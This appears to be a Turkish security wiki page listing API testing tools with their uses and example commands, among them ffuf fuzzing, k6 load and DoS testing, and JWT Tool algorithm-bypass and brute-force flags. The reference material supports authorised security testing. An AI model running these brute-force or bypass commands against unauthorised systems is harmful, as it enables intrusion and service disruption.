| Postman | REST istek koleksiyonları, auth akışları, environment yönetimi | postman collection run api-tests.postman_collection.json |
| Burp Suite | Proxy, repeater, comparer, API keşfi ve response diff analizi | java -jar burpsuite_pro.jar |
| OWASP ZAP | API tarama, pasif/aktif kontroller, OpenAPI import | zap.sh -cmd -addonupdate |
| mitmproxy | Mobil/web trafik gözlemi ve response manipulation analizi | mitmproxy -p 8080 |
| ffuf | API Fuzzing, Directory Brute-Force, BOLA test otomasyonu | ffuf -w wordlist.txt -u https://api.com/FUZZ |
| k6 | Rate limit, throttle, DoS ve kaynak dayanıklılık testi | k6 run rate_limit_check.js |
| GraphQL Voyager | Şema görselleştirme ve karmaşık ilişki AST analizi | graphql-voyager |
| Apollo Studio (Rover) | GraphQL schema introspection ve subgraph analizi | rover graph introspect https://api.example.com/graphql |
| Swagger UI / CLI | REST sözleşmesi, security scheme ve endpoint inventory doğrulama | swagger-cli validate openapi.yaml |
| Schemathesis | OpenAPI tabanlı property-based (Fuzzing) API güvenlik testleri | schemathesis run openapi.yaml --base-url=https://api.com |
| Spectral | OpenAPI linting, güvenlik standartları (Hardening) ve sözleşme kuralları | spectral lint openapi.yaml |
| Semgrep | Kaynak kod içinde BOLA, Mass Assignment, AuthZ ve güvensiz pattern arama | semgrep --config auto . |
| Open Policy Agent (OPA) | Merkezi authorization/policy enforcement ve Policy-as-Code değerlendirmesi | opa eval -d policy.rego 'data.api.allow' |
| JWT Tool | JWT analizi, algoritma bypass ve brute-force operasyonları | jwt_tool.py <TOKEN> -I -pc <WORDLIST> |
Yazar: Nurettin Ünal · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv